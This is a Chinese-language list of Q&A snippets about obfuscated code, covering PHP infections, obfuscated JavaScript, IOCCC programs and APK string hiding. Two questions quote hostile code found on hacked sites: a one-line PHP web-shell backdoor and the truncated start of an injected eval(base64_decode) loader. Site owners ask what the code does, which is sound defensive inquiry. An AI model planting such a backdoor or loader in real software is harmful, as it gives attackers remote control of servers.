37得票8回答
如何摆脱类似于PHP病毒文件的eval-base64_decode?

我的网站(一个非常大的社区网站)最近感染了病毒。每个index.php文件的开头的php标签都被更改为以下代码:<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW...

9得票3回答
发现黑客留下的代码,但不知道它的作用是什么

我发现在我的其中一个PHP文件中,黑客留下了一行脚本。它的内容是这样的: <?php ($_=@$_GET[2]).@$_($_POST[1]); ?> 能否有人给一些提示,说明这行代码是做什么的?谢谢。

10得票4回答
如何“解码”HTML中的一些混淆JavaScript?

这里有一个例子: eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(...

998得票4回答
混淆C代码比赛2006年。请解释sykes2.c。

这个 C 程序是如何工作的?main(_){_^448&&main(-~_);putchar(--_%64?32|-~7[__TIME__-_/8%8][">'txiZ^(~z?"-48]>>";;;====~$::199"[_*2&8|_/64]/(...

10得票4回答
IOCCC 1984/decot.c - 它能在21世纪编译吗?

这段有趣的代码是在国际混淆C代码大赛的第一届 (1984) 中展示的: http://www.ioccc.org/years.html#1984 (decot) 在清除预处理器滥用和由goto语句和一些狡猾注释导致的未使用代码的残骸后,你最终得到了以下幸存的代码(如果我错了,请纠正我!):...

17得票1回答
混淆和压缩的区别是什么?哪个更安全?

最近,我的客户要求我混淆JavaScript代码以隐藏API密钥。我使用Grunt。 grunt-contrib-uglify能够混淆我的JavaScript代码吗? uglify和obfuscate有什么区别?它们中的一个比另一个更安全吗?

8得票1回答
Crashlytics无法对代码进行反混淆

我刚接触Crashlytics,遇到了一个问题,它没有对我的堆栈跟踪进行解混淆。根据Crashlytics的说法,这应该是自动发生的。它应该使用包含在.apk文件中的mappings.txt文件来解密堆栈跟踪。我有一些关于整个过程以及如何解决问题的问题。 1)mappings.txt文件应该...

16得票1回答
APK中如何简单地隐藏/混淆字符串?

有时候你需要在应用程序本身中存储密码,比如用于与自己的服务器通信的用户名/密码。在这些情况下,无法遵循存储密码的常规过程——即哈希密码、存储哈希值、与哈希用户输入进行比较——因为你没有任何用户输入来比较哈希值。密码需要由应用程序本身提供。那么如何保护APK中存储的密码呢?类似下面这样的生成密码...

22得票2回答
为什么要使用“函数地址==NULL”而不是“false”?

在浏览一些旧代码时,我发现了这样的函数:static inline bool EmptyFunc() { return (void*) EmptyFunc == NULL; } 这个跟那个有什么不同:static inline bool EmptyFunc() { return...

9得票1回答
在Perl中实现高级文件读取技巧

我正在寻找在Perl中高效读取文件的方法,然后发现了这个非常有趣的一行代码: my $text = do { local (@ARGV, $/) = $file; <> }; 我的问题是:这个到底是如何工作的?通常在读取文件时,您会将$/ = undef,但我不知道这个代码片...